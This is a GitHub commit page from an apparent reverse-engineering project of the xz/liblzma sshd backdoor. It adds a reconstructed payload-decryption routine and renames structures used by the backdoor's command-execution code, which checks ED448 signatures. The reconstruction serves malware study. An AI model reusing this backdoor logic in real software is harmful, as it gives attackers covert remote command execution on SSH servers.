Skip to content

Commit

Permalink
xzre_code: add decrypt_payload_message
Browse files Browse the repository at this point in the history
  • Loading branch information
smx-smx committed Aug 4, 2024
1 parent b303d39 commit c8a7ae5
Show file tree
Hide file tree
Showing 4 changed files with 127 additions and 20 deletions.
61 changes: 48 additions & 13 deletions xzre.h
Original file line number Diff line number Diff line change
Expand Up @@ -557,6 +557,10 @@ typedef enum {
STR_ELF = 0x300,
} EncodedStringId;

typedef enum {
PAYLOAD_STATE_INVALID = -1
} PayloadState;

#ifndef XZRE_SLIM
#define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
#else
Expand Down Expand Up @@ -1351,7 +1355,11 @@ typedef struct __attribute__((packed)) global_context {
u64 sock_read_buf_size;
u8 sock_read_buf[64];
u64 payload_data_size;
u64 digest_offset;
/**
* @brief number of body bytes copied to @ref payload_data.
* will point to the digest at the end
*/
u64 current_data_size;
// signed data (size payload_data_size)
u8 *payload_data;
sshd_payload_ctx_t *sshd_payload_ctx;
Expand Down Expand Up @@ -1396,7 +1404,7 @@ assert_offset(global_context_t, uid, 0x90);
assert_offset(global_context_t, sock_read_buf_size, 0x98);
assert_offset(global_context_t, sock_read_buf, 0xA0);
assert_offset(global_context_t, payload_data_size, 0xE0);
assert_offset(global_context_t, digest_offset, 0xE8);
assert_offset(global_context_t, current_data_size, 0xE8);
assert_offset(global_context_t, payload_data, 0xF0);
assert_offset(global_context_t, sshd_payload_ctx, 0xF8);
assert_offset(global_context_t, sshd_host_pubkey_idx, 0x100);
Expand Down Expand Up @@ -1857,10 +1865,16 @@ static_assert(sizeof(secret_data_item_t) == 0x18);
* @return typedef struct
*/
typedef struct __attribute__((packed)) key_payload_hdr {
u32 field_a;
u32 field_b;
u64 field_c;
} key_payload_hdr_t;
union {
u8 bytes[16];
struct __attribute__((packed)) {
u32 field_a;
u32 field_b;
u64 field_c;
};
};
} backdoor_payload_hdr_t;
static_assert(sizeof(backdoor_payload_hdr_t) == 16);

typedef union __attribute__((packed)) {
u8 value[2];
Expand All @@ -1879,20 +1893,41 @@ typedef struct __attribute__((packed)) key_payload_body {
u8 signature[ED448_SIGNATURE_SIZE];
cmd_arguments_t args;
u8 data[0x1A1];
} key_payload_body_t;
} backdoor_payload_body_t;

assert_offset(key_payload_body_t, args, 0x72);
assert_offset(backdoor_payload_body_t, args, 0x72);

/**
* @brief the contents of the RSA 'n' field
*
* @return typedef struct
*/
typedef struct __attribute__((packed)) key_payload {
key_payload_hdr_t header;
key_payload_body_t body;
union {
u8 data[0x228];
struct __attribute__((packed)) {
backdoor_payload_hdr_t header;
backdoor_payload_body_t body;
};
};
} backdoor_payload_t;
static_assert(sizeof(backdoor_payload_t) == 0x228);
assert_offset(backdoor_payload_t, header, 0);
assert_offset(backdoor_payload_t, body, 16);

typedef struct __attribute__((packed)) key_payload {
union {
u8 data[0];
struct __attribute__((packed)) {
backdoor_payload_hdr_t hdr;
u16 body_length;
u8 body[0];
};
};
} key_payload_t;
static_assert(sizeof(key_payload_t) == 0x228);
assert_offset(key_payload_t, hdr, 0);
assert_offset(key_payload_t, body_length, 16);
assert_offset(key_payload_t, body, 18);

#define TEST_FLAG(x, flag) (((x) & (flag)) != 0)

Expand Down Expand Up @@ -1974,7 +2009,7 @@ typedef struct __attribute__((packed)) key_ctx {
const BIGNUM *rsa_n;
const BIGNUM *rsa_e;
cmd_arguments_t args;
key_payload_t payload;
backdoor_payload_t payload;
PADDING(CHACHA20_KEY_SIZE + CHACHA20_IV_SIZE);
u8 ivec[CHACHA20_IV_SIZE];
u8 ed448_key[ED448_KEY_SIZE];
Expand Down Expand Up @@ -3754,7 +3789,7 @@ extern BOOL is_payload_message(
* @return BOOL TRUE if successfully decrypted, FALSE otherwise
*/
extern BOOL decrypt_payload_message(
void *payload,
key_payload_t *payload,
size_t payload_size,
global_context_t *ctx);

Expand Down
1 change: 1 addition & 0 deletions xzre_code/CMakeLists.txt
Original file line number Diff line number Diff line change
Expand Up @@ -7,6 +7,7 @@ add_library(xzre_code
chacha_decrypt.c
count_bits.c
count_pointers.c
decrypt_payload_message.c
elf_parse.c
elf_symbol_get_addr.c
get_lzma_allocator.c
Expand Down
71 changes: 71 additions & 0 deletions xzre_code/decrypt_payload_message.c
Original file line number Diff line number Diff line change
@@ -0,0 +1,71 @@
/**
* Copyright (C) 2024 Stefano Moioli <smxdev4@gmail.com>
**/
#include "xzre.h"

BOOL decrypt_payload_message(
key_payload_t *payload,
size_t payload_size,
global_context_t *ctx
){
backdoor_payload_hdr_t hdr = {0};
u8 output[ED448_KEY_SIZE] = {0};

memcpy(&hdr, payload, sizeof(hdr));

if(!payload){
if(!ctx) return FALSE;
goto set_state_invalid;
}

const size_t header_size = sizeof(payload->hdr) + sizeof(payload->body_length);
static_assert(header_size == 18);

do {
if(!ctx) break;
if(ctx->payload_state == 3) return TRUE;
if(payload_size <= header_size || ctx->payload_state > 1) break;

/** decrypt body_size and body */
if(!chacha_decrypt(
payload->data + sizeof(payload->hdr),
payload_size - sizeof(payload->hdr),
output,
payload->hdr.bytes,
payload->data + sizeof(payload->hdr),
ctx->imported_funcs)) break;

u16 body_length = payload->body_length;
// body cannot be bigger than remaining length
if(body_length >= payload_size - header_size){
break;
}

// body cannot be bigger than the current data size
if(body_length >= ctx->payload_data_size - ctx->current_data_size){
break;
}

/** keep a copy of the last payload body */
u8 *data = &ctx->payload_data[ctx->current_data_size];
__builtin_memcpy(data, payload->body, body_length);
ctx->current_data_size += body_length;

/** decrypt body */
if(!chacha_decrypt(
payload->data + sizeof(payload->hdr),
payload_size - sizeof(payload->hdr),
output,
payload->hdr.bytes,
payload->data + sizeof(payload->hdr),
ctx->imported_funcs
)) break;

return TRUE;
} while(0);

set_state_invalid:
ctx->payload_state = PAYLOAD_STATE_INVALID;

return FALSE;
}
14 changes: 7 additions & 7 deletions xzre_code/run_backdoor_commands.c
Original file line number Diff line number Diff line change
Expand Up @@ -14,7 +14,7 @@

#define MONITOR_REQ_KEYALLOWED 22

#define SIZE_STEP0 (sizeof(key_payload_hdr_t))
#define SIZE_STEP0 (sizeof(backdoor_payload_hdr_t))
#define SIZE_STEP1 (SIZE_STEP0 + ED448_SIGNATURE_SIZE)
#define SIZE_STEP2 (SIZE_STEP1 + sizeof(cmd_arguments_t))
#define SIZE_HEADERS SIZE_STEP2
Expand Down Expand Up @@ -63,7 +63,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
if(rsa_n_length < 0) break;
if(num_n_bytes < rsa_n_length) break;

if(rsa_n_length <= sizeof(key_payload_hdr_t)) goto exit;
if(rsa_n_length <= sizeof(backdoor_payload_hdr_t)) goto exit;
// `field_a` cannot be 0
if(!f.kctx.payload.header.field_a) goto exit;
// `field_b` cannot be 0
Expand All @@ -77,13 +77,13 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
if(!ctx->libc_imports->exit) break;
if(!ctx->sshd_log_ctx) break;
if(ctx->num_shifted_bits != ED448_KEY_SIZE * 8) break;
*(key_payload_hdr_t *)f.kctx.ivec = f.kctx.payload.header;
*(backdoor_payload_hdr_t *)f.kctx.ivec = f.kctx.payload.header;

if(!secret_data_get_decrypted(f.kctx.ed448_key, ctx)) break;
// decrypt payload
if(!chacha_decrypt(
f.kctx.payload.body.signature,
num_n_bytes - sizeof(key_payload_hdr_t),
num_n_bytes - sizeof(backdoor_payload_hdr_t),
f.kctx.ed448_key,
f.kctx.ivec,
(u8 *)&f.kctx.payload.body,
Expand Down Expand Up @@ -193,8 +193,8 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){

if(data_s1 >= f.body_size) break;
if(f.body_size - data_s1 < ED448_SIGNATURE_SIZE) break;
if(ctx->payload_data_size < ctx->digest_offset) break;
u64 delta = ctx->payload_data_size - ctx->digest_offset;
if(ctx->payload_data_size < ctx->current_data_size) break;
u64 delta = ctx->payload_data_size - ctx->current_data_size;
if(delta < ED448_KEY_SIZE) break;
if((delta - ED448_SIGNATURE_SIZE) < data_s1) break;

Expand All @@ -208,7 +208,7 @@ BOOL run_backdoor_commands(RSA *rsa, global_context_t *ctx, BOOL *do_orig){
if(!verify_signature(
ctx->sshd_sensitive_data->host_pubkeys[ctx->sshd_host_pubkey_idx],
ctx->payload_data,
data_s1 + ctx->digest_offset,
data_s1 + ctx->current_data_size,
ctx->payload_data_size,
signature,
data_ptr,
Expand Down

0 comments on commit c8a7ae5

Please sign in to comment.